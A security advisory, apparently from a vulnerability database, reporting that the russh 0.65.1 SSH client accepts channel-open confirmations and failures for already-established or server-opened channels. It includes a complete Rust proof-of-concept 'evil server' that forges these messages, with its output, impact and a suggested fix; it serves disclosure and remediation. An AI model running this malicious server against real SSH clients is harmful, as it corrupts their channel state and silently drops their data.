
Cloud Vulnerability DB
A community-led vulnerabilities database
The fix for GHSA-47hw-gvq5-r2gm (3430fd2, "correctly handle unexpected channel IDs") gated client channel
callbacks on is_established_channel. The two open-reply messages only check that the id exists in the channel
table. Nothing checks that the id is a channel the client opened and is still waiting for a reply. A malicious
server can therefore:
Handler::channel_open_confirmation again for an already-established channel, and for a channel the
server opened (for example an accepted forwarded-tcpip), which the client never opened;Handler::channel_open_failure for an established channel and remove it from the session without any
CHANNEL_CLOSE exchange and without channel_close.russh/src/client/encrypted.rs:486-524 CHANNEL_OPEN_CONFIRMATION does enc.channels.get_mut(&local_id) (l.493),
then ChannelParams::confirm (russh/src/lib_inner.rs:518). confirm unconditionally overwrites
recipient_channel, the remote window and the max packet size, and sets confirmed = true. It then sends
ChannelMsg::Open into the channel's stream and calls channel_open_confirmation (l.517).russh/src/client/encrypted.rs:558-589 CHANNEL_OPEN_FAILURE gates on enc.channels.remove(&channel_num).is_some()
(l.571). The comment above it says this message "arrives for a channel the client opened but that is not yet
confirmed". The code does not enforce that, so a confirmed channel passes.confirmed: true (l.853), so they share the
table with client-opened channels and pass both gates.
GHSA-47hw lists CHANNEL_OPEN_FAILURE as an affected message, with the impact "forged ... close ... notices for
channels that were never opened or were already released". The fix covers ids that were never opened. It does not
cover established channels.
OpenSSH rejects both messages unless the channel is in SSH_CHANNEL_OPENING, and disconnects otherwise.
Suggested fix
Accept CHANNEL_OPEN_CONFIRMATION and CHANNEL_OPEN_FAILURE only when the id is in enc.channels withconfirmed == false, meaning a client-initiated open that is still pending. Server-initiated channels are inserted
already confirmed, so they are excluded automatically. Treat any other id as a protocol error
(Error::Inconsistent / disconnect), the same as an unknown id today. The server side
(server/encrypted.rs CHANNEL_OPEN_CONFIRMATION and CHANNEL_OPEN_FAILURE) has the same shape and should get the
same gate.
Self-contained reproducer: one src/main.rs. A hand-written server (real curve25519-sha256 key exchange and a real
ssh-ed25519 host-key signature; the client opts into the none cipher/MAC so the peer stays small) talks to an
unmodified russh 0.65.1 client over tokio::io::duplex. The client handler accepts forwarded-tcpip, as any
remote-forwarding application does, and logs the open-reply callbacks.
forwarded-tcpip. The client accepts it as local id 3.Cargo.toml:
[package]
name = "open-reply-on-established"
version = "0.1.0"
edition = "2021"
[dependencies]
russh = "=0.65.1"
tokio = { version = "1", features = ["full"] }
sha2 = "0.10"
curve25519-dalek = "4.1"src/main.rs:
//! russh 0.65.1 client: CHANNEL_OPEN_CONFIRMATION / CHANNEL_OPEN_FAILURE are accepted for any
//! channel id in the table, including established and server-opened channels.
use std::borrow::Cow;
use std::sync::{Arc, Mutex};
use std::time::Duration;
use curve25519_dalek::montgomery::MontgomeryPoint;
use russh::client::{ChannelOpenHandle, Msg, Session};
use russh::keys::signature::Signer;
use russh::keys::ssh_encoding::Encode;
use russh::keys::ssh_key::private::Ed25519Keypair;
use russh::keys::{PrivateKey, PublicKeyOrCertificate};
use russh::{Channel, ChannelId, ChannelOpenFailure};
use sha2::{Digest, Sha256};
use tokio::io::{AsyncReadExt, AsyncWriteExt, DuplexStream, ReadHalf, WriteHalf};
/// Client handler of an application that uses remote port forwarding.
struct H(Arc<Mutex<Vec<String>>>);
impl russh::client::Handler for H {
type Error = russh::Error;
async fn check_server_key(&mut self, _: &PublicKeyOrCertificate) -> Result<bool, Self::Error> { Ok(true) }
async fn channel_open_confirmation(&mut self, id: ChannelId, mp: u32, w: u32, _: &mut Session) -> Result<(), Self::Error> {
self.0.lock().unwrap().push(format!("channel_open_confirmation({id}, max_packet={mp}, window={w})")); Ok(())
}
async fn channel_open_failure(&mut self, id: ChannelId, r: ChannelOpenFailure, _: &str, _: &str, _: &mut Session) -> Result<(), Self::Error> {
self.0.lock().unwrap().push(format!("channel_open_failure({id}, {r:?})")); Ok(())
}
async fn server_channel_open_forwarded_tcpip(&mut self, ch: Channel<Msg>, _: &str, _: u32, _: &str, _: u32,
reply: ChannelOpenHandle, _: &mut Session) -> Result<(), Self::Error> {
self.0.lock().unwrap().push(format!("server opened forwarded-tcpip -> local id {}", ch.id()));
reply.accept().await;
std::mem::forget(ch); // keep it open
Ok(())
}
}
fn confirm(recipient: u32, sender: u32, window: u32, max_packet: u32) -> Vec<u8> {
let mut p = vec![91u8]; for x in [recipient, sender, window, max_packet] { put_u32(&mut p, x); } p
}
#[tokio::main]
async fn main() {
let (c, s) = tokio::io::duplex(1 << 20);
let srv = tokio::spawn(async move {
let mut s = EvilServer::accept(s).await;
s.auth_success().await;
// 1) The client opens a session channel; confirm it normally.
let open = s.recv_msg().await; assert_eq!(open[0], 90);
let mut rd = &open[1..]; get_str(&mut rd); let sess = get_u32(&mut rd);
s.send(&confirm(sess, 100, 1 << 20, 32768)).await;
// 2) Server-initiated forwarded-tcpip; learn the client's id for it.
s.send(&channel_open_forwarded_tcpip(200)).await;
let conf = s.recv_msg().await; assert_eq!(conf[0], 91);
let fwd = get_u32(&mut &conf[5..]);
// 3) A second CONFIRMATION for the established session channel.
s.send(&confirm(sess, 101, 0, 1)).await;
// 4) A CONFIRMATION for the server-opened channel, which the client never opened.
s.send(&confirm(fwd, 201, 0, 1)).await;
// 5) OPEN_FAILURE for the established session channel.
s.send(&open_failure(sess, 2)).await;
let mut seen = vec![];
while let Ok(p) = tokio::time::timeout(Duration::from_millis(500), s.recv_msg()).await { seen.push(p[0]); }
println!("[server] packets from client after step 5: {seen:?} (97 would be CHANNEL_CLOSE)");
});
let log = Arc::new(Mutex::new(vec![]));
let mut h = russh::client::connect_stream(client_config(), c, H(log.clone())).await.unwrap();
h.authenticate_none("victim").await.unwrap();
let mut ch = h.channel_open_session().await.unwrap();
println!("[client] opened session channel {}", ch.id());
let mut msgs = vec![];
while let Ok(Some(m)) = tokio::time::timeout(Duration::from_millis(400), ch.wait()).await { msgs.push(format!("{m:?}")); }
println!("[client] ChannelMsg seen on the established session channel: {msgs:?}");
println!("[client] write on that channel afterwards -> {:?}", ch.data(&b"after"[..]).await);
srv.await.unwrap();
for l in log.lock().unwrap().iter() { println!("[handler] {l}"); }
}
// ---------------------------------------------------------------------------
// Minimal hand-written SSH server ("evil server"): real curve25519-sha256 key
// exchange signed with a real ssh-ed25519 host key; bulk cipher/MAC "none"
// (the client opts in via Preferred) so the peer needs no AEAD code.
// ---------------------------------------------------------------------------
fn client_config() -> Arc<russh::client::Config> {
Arc::new(russh::client::Config {
inactivity_timeout: None,
keepalive_interval: None,
preferred: russh::Preferred {
kex: Cow::Owned(vec![russh::kex::CURVE25519]),
key: Cow::Owned(vec![russh::keys::Algorithm::Ed25519]),
cipher: Cow::Owned(vec![russh::cipher::NONE]),
mac: Cow::Owned(vec![russh::mac::NONE]),
compression: Cow::Owned(vec![russh::compression::NONE]),
..Default::default()
},
..Default::default()
})
}
fn put_u32(v: &mut Vec<u8>, x: u32) { v.extend_from_slice(&x.to_be_bytes()); }
fn put_str(v: &mut Vec<u8>, s: &[u8]) { put_u32(v, s.len() as u32); v.extend_from_slice(s); }
fn get_u32(b: &mut &[u8]) -> u32 { let x = u32::from_be_bytes(b[..4].try_into().unwrap()); *b = &b[4..]; x }
fn get_str<'a>(b: &mut &'a [u8]) -> &'a [u8] { let n = get_u32(b) as usize; let s = &b[..n]; *b = &b[n..]; s }
fn frame(p: &[u8]) -> Vec<u8> {
let mut pad = 8 - (5 + p.len()) % 8; if pad < 4 { pad += 8; }
let mut o = Vec::new(); put_u32(&mut o, (1 + p.len() + pad) as u32); o.push(pad as u8);
o.extend_from_slice(p); o.resize(o.len() + pad, 0); o
}
struct EvilServer { r: ReadHalf<DuplexStream>, w: WriteHalf<DuplexStream> }
impl EvilServer {
async fn send(&mut self, p: &[u8]) { self.w.write_all(&frame(p)).await.unwrap(); }
/// Next packet payload, skipping IGNORE/DEBUG.
async fn recv_msg(&mut self) -> Vec<u8> {
loop {
let mut l = [0u8; 4]; self.r.read_exact(&mut l).await.unwrap();
let mut b = vec![0u8; u32::from_be_bytes(l) as usize]; self.r.read_exact(&mut b).await.unwrap();
let p = b[1..b.len() - b[0] as usize].to_vec();
if p[0] != 2 && p[0] != 4 { return p; }
}
}
/// Version exchange + curve25519-sha256 kex + NEWKEYS.
async fn accept(stream: DuplexStream) -> Self {
let (mut r, mut w) = tokio::io::split(stream);
let v_s = b"SSH-2.0-OpenSSH_9.9".to_vec();
w.write_all(b"SSH-2.0-OpenSSH_9.9\r\n").await.unwrap();
let mut v_c = Vec::new();
loop { let mut b = [0u8]; r.read_exact(&mut b).await.unwrap(); if b[0] == b'\n' { break; } v_c.push(b[0]); }
if v_c.last() == Some(&b'\r') { v_c.pop(); }
let mut s = EvilServer { r, w };
let mut i_s = vec![20u8]; i_s.extend_from_slice(&[0x42; 16]);
for nl in ["curve25519-sha256", "ssh-ed25519", "none", "none", "none", "none", "none", "none", "", ""] { put_str(&mut i_s, nl.as_bytes()); }
i_s.push(0); put_u32(&mut i_s, 0);
s.send(&i_s).await;
let i_c = s.recv_msg().await; assert_eq!(i_c[0], 20);
let init = s.recv_msg().await; assert_eq!(init[0], 30); // KEX_ECDH_INIT
let q_c: [u8; 32] = get_str(&mut &init[1..]).try_into().unwrap();
let eph = [0x17u8; 32];
let q_s = MontgomeryPoint::mul_base_clamped(eph).to_bytes();
let k = MontgomeryPoint(q_c).mul_clamped(eph).to_bytes();
let hk = PrivateKey::from(Ed25519Keypair::from_seed(&[0xA1; 32]));
let k_s = hk.public_key().to_bytes().unwrap();
let mut hb = Vec::new();
for x in [&v_c[..], &v_s, &i_c, &i_s, &k_s, &q_c, &q_s] { put_str(&mut hb, x); }
let kz = { let mut k = &k[..]; while let Some((&0, r)) = k.split_first() { k = r; } k }; // mpint K
if kz[0] & 0x80 != 0 { put_u32(&mut hb, kz.len() as u32 + 1); hb.push(0); } else { put_u32(&mut hb, kz.len() as u32); }
hb.extend_from_slice(kz);
let sig: russh::keys::ssh_key::Signature = Signer::try_sign(&hk, &Sha256::digest(&hb)).unwrap();
let mut sig_blob = Vec::new(); sig.encode(&mut sig_blob).unwrap();
let mut reply = vec![31u8]; put_str(&mut reply, &k_s); put_str(&mut reply, &q_s); put_str(&mut reply, &sig_blob);
s.send(&reply).await; s.send(&[21]).await;
assert_eq!(s.recv_msg().await[0], 21); // NEWKEYS
s
}
/// SERVICE_REQUEST -> SERVICE_ACCEPT; returns the first USERAUTH_REQUEST.
async fn service_accept(&mut self) -> Vec<u8> {
assert_eq!(self.recv_msg().await[0], 5);
let mut a = vec![6u8]; put_str(&mut a, b"ssh-userauth"); self.send(&a).await;
let req = self.recv_msg().await; assert_eq!(req[0], 50); req
}
async fn auth_success(&mut self) { self.service_accept().await; self.send(&[52]).await; }
}
fn channel_open_forwarded_tcpip(sender: u32) -> Vec<u8> {
let mut p = vec![90u8]; put_str(&mut p, b"forwarded-tcpip"); put_u32(&mut p, sender);
put_u32(&mut p, 2 << 20); put_u32(&mut p, 32768);
put_str(&mut p, b"127.0.0.1"); put_u32(&mut p, 2222); put_str(&mut p, b"203.0.113.9"); put_u32(&mut p, 4444);
p
}
fn open_failure(recipient: u32, reason: u32) -> Vec<u8> {
let mut f = vec![92u8]; put_u32(&mut f, recipient); put_u32(&mut f, reason); put_str(&mut f, b""); put_str(&mut f, b""); f
}Run cargo run --release. Output on 0.65.1:
[client] opened session channel 2
[client] ChannelMsg seen on the established session channel: ["Open { id: ChannelId(2), max_packet_size: 1, window_size: 0 }", "OpenFailure(ConnectFailed)"]
[client] write on that channel afterwards -> Ok(())
[server] packets from client after step 5: [] (97 would be CHANNEL_CLOSE)
[handler] channel_open_confirmation(2, max_packet=32768, window=1048576)
[handler] server opened forwarded-tcpip -> local id 3
[handler] channel_open_confirmation(2, max_packet=1, window=0)
[handler] channel_open_confirmation(3, max_packet=1, window=0)
[handler] channel_open_failure(2, ConnectFailed)Expected: steps 3-5 are rejected (as OpenSSH does with channel %d: not opening), so channel_open_confirmation
fires once for channel 2 and never for channel 3, channel_open_failure does not fire for an established channel,
and channel 2 keeps its original window and max packet size.
This is a state-machine and integrity issue in the channel lifecycle that the client application sees. It has the same class as GHSA-47hw, with a narrower effect:
channel_open_confirmation runs for a channel id the client never opened, and runs more than once for the same
channel. Applications that key per-channel state on these callbacks can mis-route or double-initialise state.channel_open_failure / ChannelMsg::OpenFailure instead of Close.
channel_close never runs, and the client never sends CHANNEL_CLOSE. Later Channel::data calls are dropped
with only a debug log.Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."